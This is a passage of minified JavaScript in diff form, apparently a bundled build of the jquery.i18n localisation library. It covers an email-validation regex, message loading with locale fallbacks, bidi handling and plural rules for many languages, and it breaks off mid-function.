$.i18n( 'rep26' )) + } + + function v(e) { + var t = /^([a-z\d!#$%&'*+\-\/=?^_`{|}~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+(\.[a-z\d!#$%&'*+\-\/=?^_`{|}~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+)*|"((([ \t]*\r\n)?[ \t]+)?([\x01-\x08\x0b\x0c\x0e-\x1f\x7f\x21\x23-\x5b\x5d-\x7e\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]|\\[\x01-\x09\x0b\x0c\x0d-\x7f\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))*(([ \t]*\r\n)?[ \t]+)?")@(([a-z\d\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]|[a-z\d\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF][a-z\d\-._~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]*[a-z\d\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])\.)+([a-z\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]|[a-z\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF][a-z\d\-._~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]*[a-z\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])\.?$/i; + return t.test(e) + } + + function _(e) { + if (!v(e.val())) { + e.parent().addClass("error"); + return false + } else { + e.parent().removeClass("error"); + return true + } + } + + function g(e) { + if (e.val().length < 1) { + e.parent().addClass("error"); + return false + } else { + e.parent().removeClass("error"); + return true + } + } + + function y(e, t) { + var i = g(t); + var n = _(e); + if (n && i) { + return true + } else { + n ? t.focus() : e.focus(); + return false + } + } + })() +}, function (e, t, i) { + "use strict"; + var n = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (e) { + return typeof e + } : function (e) { + return e && typeof Symbol === "function" && e.constructor === Symbol && e !== Symbol.prototype ? "symbol" : typeof e + }; + (function (e) { + "use strict"; + var t, i, r = Array.prototype.slice; + i = function t(n) { + this.options = e.extend({}, i.defaults, n); + this.parser = this.options.parser; + this.locale = this.options.locale; + this.messageStore = this.options.messageStore; + this.languages = {}; + this.init() + }; + i.prototype = { + init: function t() { + var i = this; + String.locale = i.locale; + String.prototype.toLocaleString = function () { + var t, n, r, a, s, o, l; + r = this.valueOf(); + a = i.locale; + s = 0; + while (a) { + t = a.split("-"); + n = t.length; + do { + o = t.slice(0, n).join("-"); + l = i.messageStore.get(o, r); + if (l) { + return l + } + n-- + } while (n); + if (a === "en") { + break + } + a = e.i18n.fallbacks[i.locale] && e.i18n.fallbacks[i.locale][s] || i.options.fallbackLocale; + e.i18n.log("Trying fallback locale for " + i.locale + ": " + a); + s++ + } + return "" + } + }, + destroy: function t() { + e.removeData(document, "i18n") + }, + load: function t(i, n) { + var r, a, s, o = {}; + if (!i && !n) { + i = "i18n/" + e.i18n().locale + ".json"; + n = e.i18n().locale + } + if (typeof i === "string" && i.split(".").pop() !== "json") { + o[n] = i + "/" + n + ".json"; + r = (e.i18n.fallbacks[n] || []).concat(this.options.fallbackLocale); + for (a in r) { + s = r[a]; + o[s] = i + "/" + s + ".json" + } + return this.load(o) + } else { + return this.messageStore.load(i, n) + } + }, + parse: function t(i, n) { + var r = i.toLocaleString(); + this.parser.language = e.i18n.languages[e.i18n().locale] || e.i18n.languages["default"]; + if (r === "") { + r = i + } + return this.parser.parse(r, n) + } + }; + e.i18n = function (t, a) { + var s, o = e.data(document, "i18n"), + l = (typeof t === "undefined" ? "undefined" : n(t)) === "object" && t; + if (l && l.locale && o && o.locale !== l.locale) { + String.locale = o.locale = l.locale + } + if (!o) { + o = new i(l); + e.data(document, "i18n", o) + } + if (typeof t === "string") { + if (a !== undefined) { + s = r.call(arguments, 1) + } else { + s = [] + } + return o.parse(t, s) + } else { + return o + } + }; + e.fn.i18n = function () { + var t = e.data(document, "i18n"); + if (!t) { + t = new i; + e.data(document, "i18n", t) + } + String.locale = t.locale; + return this.each(function () { + var i = e(this), + n = i.data("i18n"), + r, a, s, o; + if (n) { + r = n.indexOf("["); + a = n.indexOf("]"); + if (r !== -1 && a !== -1 && r < a) { + s = n.slice(r + 1, a); + o = n.slice(a + 1); + if (s === "html") { + i.html(t.parse(o)) + } else { + i.attr(s, t.parse(o)) + } + } else { + i.text(t.parse(n)) + } + } else { + i.find("[data-i18n]").i18n() + } + }) + }; + String.locale = String.locale || e("html").attr("lang"); + if (!String.locale) { + if (n(window.navigator) !== undefined) { + t = window.navigator; + String.locale = t.language || t.userLanguage || "" + } else { + String.locale = "" + } + } + e.i18n.languages = {}; + e.i18n.messageStore = e.i18n.messageStore || {}; + e.i18n.parser = { + parse: function e(t, i) { + return t.replace(/\$(\d+)/g, function (e, t) { + var n = parseInt(t, 10) - 1; + return i[n] !== undefined ? i[n] : "$" + t + }) + }, + emitter: {} + }; + e.i18n.fallbacks = {}; + e.i18n.debug = false; + e.i18n.log = function () { + if (window.console && e.i18n.debug) { + window.console.log.apply(window.console, arguments) + } + }; + i.defaults = { + locale: String.locale, + fallbackLocale: "en", + parser: e.i18n.parser, + messageStore: e.i18n.messageStore + }; + e.i18n.constructor = i + })(jQuery) +}, function (e, t, i) { + "use strict"; + var n = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (e) { + return typeof e + } : function (e) { + return e && typeof Symbol === "function" && e.constructor === Symbol && e !== Symbol.prototype ? "symbol" : typeof e + }; + (function (e) { + "use strict"; + var t = function t() { + this.language = e.i18n.languages[String.locale] || e.i18n.languages["default"] + }; + t.prototype = { + constructor: t, + emit: function t(i, r) { + var a, s, o, l = this; + switch (typeof i === "undefined" ? "undefined" : n(i)) { + case "string": + case "number": + a = i; + break; + case "object": + s = e.map(i.slice(1), function (e) { + return l.emit(e, r) + }); + o = i[0].toLowerCase(); + if (typeof l[o] === "function") { + a = l[o](s, r) + } else { + throw new Error('unknown operation "' + o + '"') + } + break; + case "undefined": + a = ""; + break; + default: + throw new Error("unexpected type in AST: " + (typeof i === "undefined" ? "undefined" : n(i))) + } + return a + }, + concat: function t(i) { + var n = ""; + e.each(i, function (e, t) { + n += t + }); + return n + }, + replace: function e(t, i) { + var n = parseInt(t[0], 10); + if (n < i.length) { + return i[n] + } else { + return "$" + (n + 1) + } + }, + plural: function e(t) { + var i = parseFloat(this.language.convertNumber(t[0], 10)), + n = t.slice(1); + return n.length ? this.language.convertPlural(i, n) : "" + }, + gender: function e(t) { + var e = t[0], + i = t.slice(1); + return this.language.gender(e, i) + }, + grammar: function e(t) { + var i = t[0], + n = t[1]; + return n && i && this.language.convertGrammar(n, i) + } + }; + e.extend(e.i18n.parser.emitter, new t) + })(jQuery) +}, function (e, t, i) { + "use strict"; + (function (e) { + "use strict"; + var t; + t = new RegExp("(?:" + "(" + "[A-Za-zªµºÀ-ÖØ-öø-ʸʻ-ˁːˑˠ-ˤˮͰ-ͳͶͷͺ-ͽͿΆΈ-ΊΌΎ-ΡΣ-ϵϷ-҂Ҋ-ԯԱ-Ֆՙ-՟ա-և։ः-हऻऽ-ीॉ-ौॎ-ॐक़-ॡ।-ঀংঃঅ-ঌএঐও-নপ-রলশ-হঽ-ীেৈোৌৎৗড়ঢ়য়-ৡ০-ৱ৴-৺ਃਅ-ਊਏਐਓ-ਨਪ-ਰਲਲ਼ਵਸ਼ਸਹਾ-ੀਖ਼-ੜਫ਼੦-੯ੲ-ੴઃઅ-ઍએ-ઑઓ-નપ-રલળવ-હઽ-ીૉોૌૐૠૡ૦-૰ૹଂଃଅ-ଌଏଐଓ-ନପ-ରଲଳଵ-ହଽାୀେୈୋୌୗଡ଼ଢ଼ୟ-ୡ୦-୷ஃஅ-ஊஎ-ஐஒ-கஙசஜஞடணதந-பம-ஹாிுூெ-ைொ-ௌௐௗ௦-௲ఁ-ఃఅ-ఌఎ-ఐఒ-నప-హఽు-ౄౘ-ౚౠౡ౦-౯౿ಂಃಅ-ಌಎ-ಐಒ-ನಪ-ಳವ-ಹಽ-ೄೆ-ೈೊೋೕೖೞೠೡ೦-೯ೱೲംഃഅ-ഌഎ-ഐഒ-ഺഽ-ീെ-ൈൊ-ൌൎൗൟ-ൡ൦-൵൹-ൿංඃඅ-ඖක-නඳ-රලව-ෆා-ෑෘ-ෟ෦-෯ෲ-෴ก-ะาำเ-ๆ๏-๛ກຂຄງຈຊຍດ-ທນ-ຟມ-ຣລວສຫອ-ະາຳຽເ-ໄໆ໐-໙ໜ-ໟༀ-༗༚-༴༶༸༾-ཇཉ-ཬཿ྅ྈ-ྌ྾-࿅࿇-࿌࿎-࿚က-ာေးျြဿ-ၗၚ-ၝၡ-ၰၵ-ႁႃႄႇ-ႌႎ-ႜ႞-ჅჇჍა-ቈቊ-ቍቐ-ቖቘቚ-ቝበ-ኈኊ-ኍነ-ኰኲ-ኵኸ-ኾዀዂ-ዅወ-ዖዘ-ጐጒ-ጕጘ-ፚ፠-፼ᎀ-ᎏᎠ-Ᏽᏸ-ᏽᐁ-ᙿᚁ-ᚚᚠ-ᛸᜀ-ᜌᜎ-ᜑᜠ-ᜱ᜵᜶ᝀ-ᝑᝠ-ᝬᝮ-ᝰក-ឳាើ-ៅះៈ។-៚ៜ០-៩᠐-᠙ᠠ-ᡷᢀ-ᢨᢪᢰ-ᣵᤀ-ᤞᤣ-ᤦᤩ-ᤫᤰᤱᤳ-ᤸ᥆-ᥭᥰ-ᥴᦀ-ᦫᦰ-ᧉ᧐-᧚ᨀ-ᨖᨙᨚ᨞-ᩕᩗᩡᩣᩤᩭ-ᩲ᪀-᪉᪐-᪙᪠-᪭ᬄ-ᬳᬵᬻᬽ-ᭁᭃ-ᭋ᭐-᭪᭴-᭼ᮂ-ᮡᮦᮧ᮪ᮮ-ᯥᯧᯪ-ᯬᯮ᯲᯳᯼-ᰫᰴᰵ᰻-᱉ᱍ-᱿᳀-᳇᳓᳡ᳩ-ᳬᳮ-ᳳᳵᳶᴀ-ᶿḀ-ἕἘ-Ἕἠ-ὅὈ-Ὅὐ-ὗὙὛὝὟ-ώᾀ-ᾴᾶ-ᾼιῂ-ῄῆ-ῌῐ-ΐῖ-Ίῠ-Ῥῲ-ῴῶ-ῼ‎ⁱⁿₐ-ₜℂℇℊ-ℓℕℙ-ℝℤΩℨK-ℭℯ-ℹℼ-ℿⅅ-ⅉⅎ⅏Ⅰ-ↈ⌶-⍺⎕⒜-ⓩ⚬⠀-⣿Ⰰ-Ⱞⰰ-ⱞⱠ-ⳤⳫ-ⳮⳲⳳⴀ-ⴥⴧⴭⴰ-ⵧⵯ⵰ⶀ-ⶖⶠ-ⶦⶨ-ⶮⶰ-ⶶⶸ-ⶾⷀ-ⷆⷈ-ⷎⷐ-ⷖⷘ-ⷞ々-〇〡-〩〮〯〱-〵〸-〼ぁ-ゖゝ-ゟァ-ヺー-ヿㄅ-ㄭㄱ-ㆎ㆐-ㆺㇰ-㈜㈠-㉏㉠-㉻㉿-㊰㋀-㋋㋐-㋾㌀-㍶㍻-㏝㏠-㏾㐀-䶵一-鿕ꀀ-ꒌꓐ-ꘌꘐ-ꘫꙀ-ꙮꚀ-ꚝꚠ-ꛯ꛲-꛷Ꜣ-ꞇ꞉-ꞭꞰ-ꞷꟷ-ꠁꠃ-ꠅꠇ-ꠊꠌ-ꠤꠧ꠰-꠷ꡀ-ꡳꢀ-ꣃ꣎-꣙ꣲ-ꣽ꤀-ꤥ꤮-ꥆꥒ꥓꥟-ꥼꦃ-ꦲꦴꦵꦺꦻꦽ-꧍ꧏ-꧙꧞-ꧤꧦ-ꧾꨀ-ꨨꨯꨰꨳꨴꩀ-ꩂꩄ-ꩋꩍ꩐-꩙꩜-ꩻꩽ-ꪯꪱꪵꪶꪹ-ꪽꫀꫂꫛ-ꫫꫮ-ꫵꬁ-ꬆꬉ-ꬎꬑ-ꬖꬠ-ꬦꬨ-ꬮꬰ-ꭥꭰ-ꯤꯦꯧꯩ-꯬꯰-꯹가-힣ힰ-ퟆퟋ-ퟻ-舘並-龎ff-stﬓ-ﬗA-Za-zヲ-하-ᅦᅧ-ᅬᅭ-ᅲᅳ-ᅵ]|\ud800[\udc00-\udc0b]|\ud800[\udc0d-\udc26]|\ud800[\udc28-\udc3a]|𐀼|𐀽|\ud800[\udc3f-\udc4d]|\ud800[\udc50-\udc5d]|\ud800[\udc80-\udcfa]|𐄀|𐄂|\ud800[\udd07-\udd33]|\ud800[\udd37-\udd3f]|\ud800[\uddd0-\uddfc]|\ud800[\ude80-\ude9c]|\ud800[\udea0-\uded0]|\ud800[\udf00-\udf23]|\ud800[\udf30-\udf4a]|\ud800[\udf50-\udf75]|\ud800[\udf80-\udf9d]|\ud800[\udf9f-\udfc3]|\ud800[\udfc8-\udfd5]|\ud801[\udc00-\udc9d]|\ud801[\udca0-\udca9]|\ud801[\udd00-\udd27]|\ud801[\udd30-\udd63]|𐕯|\ud801[\ude00-\udf36]|\ud801[\udf40-\udf55]|\ud801[\udf60-\udf67]|𑀀|\ud804[\udc02-\udc37]|\ud804[\udc47-\udc4d]|\ud804[\udc66-\udc6f]|\ud804[\udc82-\udcb2]|𑂷|𑂸|\ud804[\udcbb-\udcc1]|\ud804[\udcd0-\udce8]|\ud804[\udcf0-\udcf9]|\ud804[\udd03-\udd26]|𑄬|\ud804[\udd36-\udd43]|\ud804[\udd50-\udd72]|\ud804[\udd74-\udd76]|\ud804[\udd82-\uddb5]|\ud804[\uddbf-\uddc9]|𑇍|\ud804[\uddd0-\udddf]|\ud804[\udde1-\uddf4]|\ud804[\ude00-\ude11]|\ud804[\ude13-\ude2e]|𑈲|𑈳|𑈵|\ud804[\ude38-\ude3d]|\ud804[\ude80-\ude86]|𑊈|\ud804[\ude8a-\ude8d]|\ud804[\ude8f-\ude9d]|\ud804[\ude9f-\udea9]|\ud804[\udeb0-\udede]|\ud804[\udee0-\udee2]|\ud804[\udef0-\udef9]|𑌂|𑌃|\ud804[\udf05-\udf0c]|𑌏|𑌐|\ud804[\udf13-\udf28]|\ud804[\udf2a-\udf30]|𑌲|𑌳|\ud804[\udf35-\udf39]|\ud804[\udf3d-\udf3f]|\ud804[\udf41-\udf44]|𑍇|𑍈|\ud804[\udf4b-\udf4d]|𑍐|𑍗|\ud804[\udf5d-\udf63]|\ud805[\udc80-\udcb2]|𑒹|\ud805[\udcbb-\udcbe]|𑓁|\ud805[\udcc4-\udcc7]|\ud805[\udcd0-\udcd9]|\ud805[\udd80-\uddb1]|\ud805[\uddb8-\uddbb]|𑖾|\ud805[\uddc1-\udddb]|\ud805[\ude00-\ude32]|𑘻|𑘼|𑘾|\ud805[\ude41-\ude44]|\ud805[\ude50-\ude59]|\ud805[\ude80-\udeaa]|𑚬|𑚮|𑚯|𑚶|\ud805[\udec0-\udec9]|\ud805[\udf00-\udf19]|𑜠|𑜡|𑜦|\ud805[\udf30-\udf3f]|\ud806[\udca0-\udcf2]|𑣿|\ud806[\udec0-\udef8]|\ud808[\udc00-\udf99]|\ud809[\udc00-\udc6e]|\ud809[\udc70-\udc74]|\ud809[\udc80-\udd43]|\ud80c[\udc00-\udfff]|\ud80d[\udc00-\udc2e]|\ud811[\udc00-\ude46]|\ud81a[\udc00-\ude38]|\ud81a[\ude40-\ude5e]|\ud81a[\ude60-\ude69]|𖩮|𖩯|\ud81a[\uded0-\udeed]|𖫵|\ud81a[\udf00-\udf2f]|\ud81a[\udf37-\udf45]|\ud81a[\udf50-\udf59]|\ud81a[\udf5b-\udf61]|\ud81a[\udf63-\udf77]|\ud81a[\udf7d-\udf8f]|\ud81b[\udf00-\udf44]|\ud81b[\udf50-\udf7e]|\ud81b[\udf93-\udf9f]|𛀀|𛀁|\ud82f[\udc00-\udc6a]|\ud82f[\udc70-\udc7c]|\ud82f[\udc80-\udc88]|\ud82f[\udc90-\udc99]|𛲜|𛲟|\ud834[\udc00-\udcf5]|\ud834[\udd00-\udd26]|\ud834[\udd29-\udd66]|\ud834[\udd6a-\udd72]|𝆃|𝆄|\ud834[\udd8c-\udda9]|\ud834[\uddae-\udde8]|\ud834[\udf60-\udf71]|\ud835[\udc00-\udc54]|\ud835[\udc56-\udc9c]|𝒞|𝒟|𝒢|𝒥|𝒦|\ud835[\udca9-\udcac]|\ud835[\udcae-\udcb9]|𝒻|\ud835[\udcbd-\udcc3]|\ud835[\udcc5-\udd05]|\ud835[\udd07-\udd0a]|\ud835[\udd0d-\udd14]|\ud835[\udd16-\udd1c]|\ud835[\udd1e-\udd39]|\ud835[\udd3b-\udd3e]|\ud835[\udd40-\udd44]|𝕆|\ud835[\udd4a-\udd50]|\ud835[\udd52-\udea5]|\ud835[\udea8-\udeda]|\ud835[\udedc-\udf14]|\ud835[\udf16-\udf4e]|\ud835[\udf50-\udf88]|\ud835[\udf8a-\udfc2]|\ud835[\udfc4-\udfcb]|\ud836[\udc00-\uddff]|\ud836[\ude37-\ude3a]|\ud836[\ude6d-\ude74]|\ud836[\ude76-\ude83]|\ud836[\ude85-\ude8b]|\ud83c[\udd10-\udd2e]|\ud83c[\udd30-\udd69]|\ud83c[\udd70-\udd9a]|\ud83c[\udde6-\ude02]|\ud83c[\ude10-\ude3a]|\ud83c[\ude40-\ude48]|🉐|🉑|[\ud840-\ud868][\udc00-\udfff]|\ud869[\udc00-\uded6]|\ud869[\udf00-\udfff]|[\ud86a-\ud86c][\udc00-\udfff]|\ud86d[\udc00-\udf34]|\ud86d[\udf40-\udfff]|\ud86e[\udc00-\udc1d]|\ud86e[\udc20-\udfff]|[\ud86f-\ud872][\udc00-\udfff]|\ud873[\udc00-\udea1]|\ud87e[\udc00-\ude1d]|[\udb80-\udbbe][\udc00-\udfff]|\udbbf[\udc00-\udffd]|[\udbc0-\udbfe][\udc00-\udfff]|\udbff[\udc00-\udffd]" + ")|(" + "[֐־׀׃׆׈-׿߀-ߪߴߵߺ-ࠕࠚࠤࠨ࠮-ࡘ࡜-࢟‏יִײַ-ﬨשׁ-ﭏ؈؋؍؛-ي٭-ٯٱ-ەۥۦۮۯۺ-ܐܒ-ܯ݋-ޥޱ-޿ࢠ-࣢ﭐ-ﴽ﵀-﷏ﷰ-﷼﷾﷿ﹰ-﻾]|\ud802[\udc00-\udd1e]|\ud802[\udd20-\ude00]|𐨄|\ud802[\ude07-\ude0b]|\ud802[\ude10-\ude37]|\ud802[\ude3b-\ude3e]|\ud802[\ude40-\udee4]|\ud802[\udee7-\udf38]|\ud802[\udf40-\udfff]|\ud803[\udc00-\ude5f]|\ud803[\ude7f-\udfff]|\ud83a[\udc00-\udccf]|\ud83a[\udcd7-\udfff]|\ud83b[\udc00-\uddff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\ude00-\udeef]|\ud83b[\udef2-\udeff]" + ")" + ")"); + + function i(e) { + var i = e.match(t); + if (!i) { + return null + } + if (i[2] === undefined) { + return "ltr" + } + return "rtl" + } + e.extend(e.i18n.parser.emitter, { + bidi: function e(t) { + var n = i(t[0]); + if (n === "ltr") { + return "‪" + t[0] + "‬" + } + if (n === "rtl") { + return "‫" + t[0] + "‬" + } + return t[0] + } + }) + })(jQuery) +}, function (e, t, i) { + "use strict"; + (function (e, t) { + "use strict"; + e.i18n = e.i18n || {}; + e.extend(e.i18n.fallbacks, { + ab: ["ru"], + ace: ["id"], + aln: ["sq"], + als: ["gsw", "de"], + an: ["es"], + anp: ["hi"], + arn: ["es"], + arz: ["ar"], + av: ["ru"], + ay: ["es"], + ba: ["ru"], + bar: ["de"], + "bat-smg": ["sgs", "lt"], + bcc: ["fa"], + "be-x-old": ["be-tarask"], + bh: ["bho"], + bjn: ["id"], + bm: ["fr"], + bpy: ["bn"], + bqi: ["fa"], + bug: ["id"], + "cbk-zam": ["es"], + ce: ["ru"], + crh: ["crh-latn"], + "crh-cyrl": ["ru"], + csb: ["pl"], + cv: ["ru"], + "de-at": ["de"], + "de-ch": ["de"], + "de-formal": ["de"], + dsb: ["de"], + dtp: ["ms"], + egl: ["it"], + eml: ["it"], + ff: ["fr"], + fit: ["fi"], + "fiu-vro": ["vro", "et"], + frc: ["fr"], + frp: ["fr"], + frr: ["de"], + fur: ["it"], + gag: ["tr"], + gan: ["gan-hant", "zh-hant", "zh-hans"], + "gan-hans": ["zh-hans"], + "gan-hant": ["zh-hant", "zh-hans"], + gl: ["pt"], + glk: ["fa"], + gn: ["es"], + gsw: ["de"], + hif: ["hif-latn"], + hsb: ["de"], + ht: ["fr"], + ii: ["zh-cn", "zh-hans"], + inh: ["ru"], + iu: ["ike-cans"], + jut: ["da"], + jv: ["id"], + kaa: ["kk-latn", "kk-cyrl"], + kbd: ["kbd-cyrl"], + khw: ["ur"], + kiu: ["tr"], + kk: ["kk-cyrl"], + "kk-arab": ["kk-cyrl"], + "kk-latn": ["kk-cyrl"], + "kk-cn": ["kk-arab", "kk-cyrl"], + "kk-kz": ["kk-cyrl"], + "kk-tr": ["kk-latn", "kk-cyrl"], + kl: ["da"], + "ko-kp": ["ko"], + koi: ["ru"], + krc: ["ru"], + ks: ["ks-arab"], + ksh: ["de"], + ku: ["ku-latn"], + "ku-arab": ["ckb"], + kv: ["ru"], + lad: ["es"], + lb: ["de"], + lbe: ["ru"], + lez: ["ru"], + li: ["nl"], + lij: ["it"], + liv: ["et"], + lmo: ["it"], + ln: ["fr"], + ltg: ["lv"], + lzz: ["tr"], + mai: ["hi"], + "map-bms": ["jv", "id"], + mg: ["fr"], + mhr: ["ru"], + min: ["id"], + mo: ["ro"], + mrj: ["ru"], + mwl: ["pt"], + myv: ["ru"], + mzn: ["fa"], + nah: ["es"], + nap: ["it"], + nds: ["de"], + "nds-nl": ["nl"], + "nl-informal": ["nl"], + no: ["nb"], + os: ["ru"], + pcd: ["fr"], + pdc: ["de"], + pdt: ["de"], + pfl: ["de"], + pms: ["it"], + pt: ["pt-br"], + "pt-br": ["pt"], + qu: ["es"], + qug: ["qu", "es"], + rgn: ["it"], + rmy: ["ro"], + "roa-rup": ["rup"], + rue: ["uk", "ru"], + ruq: ["ruq-latn", "ro"], + "ruq-cyrl": ["mk"], + "ruq-latn": ["ro"], + sa: ["hi"], + sah: ["ru"], + scn: ["it"], + sg: ["fr"], + sgs: ["lt"], + sli: ["de"], + sr: ["sr-ec"], + srn: ["nl"], + stq: ["de"], + su: ["id"], + szl: ["pl"], + tcy: ["kn"], + tg: ["tg-cyrl"], + tt: ["tt-cyrl", "ru"], + "tt-cyrl": ["ru"], + ty: ["fr"], + udm: ["ru"], + ug: ["ug-arab"], + uk: ["ru"], + vec: ["it"], + vep: ["et"], + vls: ["nl"], + vmf: ["de"], + vot: ["fi"], + vro: ["et"], + wa: ["fr"], + wo: ["fr"], + wuu: ["zh-hans"], + xal: ["ru"], + xmf: ["ka"], + yi: ["he"], + za: ["zh-hans"], + zea: ["nl"], + zh: ["zh-hans"], + "zh-classical": ["lzh"], + "zh-cn": ["zh-hans"], + "zh-hant": ["zh-hans"], + "zh-hk": ["zh-hant", "zh-hans"], + "zh-min-nan": ["nan"], + "zh-mo": ["zh-hk", "zh-hant", "zh-hans"], + "zh-my": ["zh-sg", "zh-hans"], + "zh-sg": ["zh-hans"], + "zh-tw": ["zh-hant", "zh-hans"], + "zh-yue": ["yue"] + }) + })(jQuery) +}, function (e, t, i) { + "use strict"; + (function (e) { + "use strict"; + var t = { + pluralRules: { + ak: { + one: "n = 0..1" + }, + am: { + one: "i = 0 or n = 1" + }, + ar: { + zero: "n = 0", + one: "n = 1", + two: "n = 2", + few: "n % 100 = 3..10", + many: "n % 100 = 11..99" + }, + be: { + one: "n % 10 = 1 and n % 100 != 11", + few: "n % 10 = 2..4 and n % 100 != 12..14", + many: "n % 10 = 0 or n % 10 = 5..9 or n % 100 = 11..14" + }, + bh: { + one: "n = 0..1" + }, + bn: { + one: "i = 0 or n = 1" + }, + br: { + one: "n % 10 = 1 and n % 100 != 11,71,91", + two: "n % 10 = 2 and n % 100 != 12,72,92", + few: "n % 10 = 3..4,9 and n % 100 != 10..19,70..79,90..99", + many: "n != 0 and n % 1000000 = 0" + }, + bs: { + one: "v = 0 and i % 10 = 1 and i % 100 != 11 or f % 10 = 1 and f % 100 != 11", + few: "v = 0 and i % 10 = 2..4 and i % 100 != 12..14 or f % 10 = 2..4 and f % 100 != 12..14" + }, + cs: { + one: "i = 1 and v = 0", + few: "i = 2..4 and v = 0", + many: "v != 0" + }, + cy: { + zero: "n = 0", + one: "n = 1", + two: "n = 2", + few: "n = 3", + many: "n = 6" + }, + da: { + one: "n = 1 or t != 0 and i = 0,1" + }, + fa: { + one: "i = 0 or n = 1" + }, + ff: { + one: "i = 0,1" + }, + fil: { + one: "i = 0..1 and v = 0" + }, + fr: { + one: "i = 0,1" + }, + ga: { + one: "n = 1", + two: "n = 2", + few: "n = 3..6", + many: "n = 7..10" + }, + gd: { + one: "n = 1,11", + two: "n = 2,12", + few: "n = 3..10,13..19" + }, + gu: { + one: "i = 0 or n = 1" + }, + guw: { + one: "n = 0..1" + }, + gv: { + one: "n % 10 = 1", + two: "n % 10 = 2", + few: "n % 100 = 0,20,40,60" + }, + he: { + one: "i = 1 and v = 0", + two: "i = 2 and v = 0", + many: "v = 0 and n != 0..10 and n % 10 = 0" + }, + hi: { + one: "i = 0 or n = 1" + }, + hr: { + one: "v = 0 and i % 10 = 1 and i % 100 != 11 or f % 10 = 1 and f % 100 != 11", + few: "v = 0 and i % 10 = 2..4 and i % 100 != 12..14 or f % 10 = 2..4 and f % 100 != 12..14" + }, + hy: { + one: "i = 0,1" + }, + is: { + one: "t = 0 and i % 10 = 1 and i % 100 != 11 or t != 0" + }, + iu: { + one: "n = 1", + two: "n = 2" + }, + iw: { + one: "i = 1 and v = 0", + two: "i = 2 and v = 0", + many: "v = 0 and n != 0..10 and n % 10 = 0" + }, + kab: { + one: "i = 0,1" + }, + kn: { + one: "i = 0 or n = 1" + }, + kw: { + one: "n = 1", + two: "n = 2" + }, + lag: { + zero: "n = 0", + one: "i = 0,1 and n != 0" + }, + ln: { + one: "n = 0..1" + }, + lt: { + one: "n % 10 = 1 and n % 100 != 11..19", + few: "n % 10 = 2..9 and n % 100 != 11..19", + many: "f != 0" + }, + lv: { + zero: "n % 10 = 0 or n % 100 = 11..19 or v = 2 and f % 100 = 11..19", + one: "n % 10 = 1 and n % 100 != 11 or v = 2 and f % 10 = 1 and f % 100 != 11 or v != 2 and f % 10 = 1" + }, + mg: { + one: "n = 0..1" + }, + mk: { + one: "v = 0 and i % 10 = 1 or f % 10 = 1" + }, + mo: { + one: "i = 1 and v = 0", + few: "v != 0 or n = 0 or n != 1 and n % 100 = 1..19" + }, + mr: { + one: "i = 0 or n = 1" + }, + mt: { + one: "n = 1", + few: "n = 0 or n % 100 = 2..10", + many: "n % 100 = 11..19" + }, + naq: { + one: "n = 1", + two: "n = 2" + }, + nso: { + one: "n = 0..1" + }, + pa: { + one: "n = 0..1" + }, + pl: { + one: "i = 1 and v = 0", + few: "v = 0 and i % 10 = 2..4 and i % 100 != 12..14", + many: "v = 0 and i != 1 and i % 10 = 0..1 or v = 0 and i % 10 = 5..9 or v = 0 and i % 100 = 12..14" + }, + pt: { + one: "i = 1 and v = 0 or i = 0 and t = 1" + }, + pt_PT: { + one: "n = 1 and v = 0" + }, + ro: { + one: "i = 1 and v = 0", + few: "v != 0 or n = 0 or n != 1 and n % 100 = 1..19" + }, + ru: { + one: "v = 0 and i % 10 = 1 and i % 100 != 11", + many: "v = 0 and i % 10 = 0 or v = 0 and i % 10 = 5..9 or v = 0 and i % 100 = 11..14" + }, + se: { + one: "n = 1", + two: "n = 2" + }, + sh: { + one: "v = 0 and i % 10 = 1 and i % 100 != 11 or f % 10 = 1 and f % 100 != 11", + few: "v = 0 and i % 10 = 2..4 and i % 100 != 12..14 or f % 10 = 2..4 and f % 100 != 12..14" + }, + shi: { + one: "i = 0 or n = 1", + few: "n = 2..10" + }, + si: { + one: "n = 0,1 or i = 0 and f = 1" + }, + sk: { + one: "i = 1 and v = 0", + few: "i = 2..4 and v = 0", + many: "v != 0" + }, + sl: { + one: "v = 0 and i % 100 = 1", + two: "v = 0 and i % 100 = 2", + few: "v = 0 and i % 100 = 3..4 or v != 0" + }, + sma: { + one: "n = 1", + two: "n = 2" + }, + smi: { + one: "n = 1", + two: "n = 2" + }, + smj: { + one: "n = 1", + two: "n = 2" + }, + smn: { + one: "n = 1", + two: "n = 2" + }, + sms: { + one: "n = 1", + two: "n = 2" + }, + sr: { + one: "v = 0 and i % 10 = 1 and i % 100 != 11 or f % 10 = 1 and f % 100 != 11", + few: "v = 0 and i % 10 = 2..4 and i % 100 != 12..14 or f % 10 = 2..4 and f % 100 != 12..14" + }, + ti: { + one: "n = 0..1" + }, + tl: { + one: "i = 0..1 and v = 0" + }, + tzm: { + one: "n = 0..1 or n = 11..99" + }, + uk: { + one: "v = 0 and i % 10 = 1 and i % 100 != 11", + few: "v = 0 and i % 10 = 2..4 and i % 100 != 12..14", + many: "v = 0 and i % 10 = 0 or v = 0 and i % 10 = 5..9 or v = 0 and i % 100 = 11..14" + }, + wa: { + one: "n = 0..1" + }, + zu: { + one: "i = 0 or n = 1" + } + }, + convertPlural: function t(i, n) { + var r, a, s, o = new RegExp("\\d+=", "i"), + l, u; + if 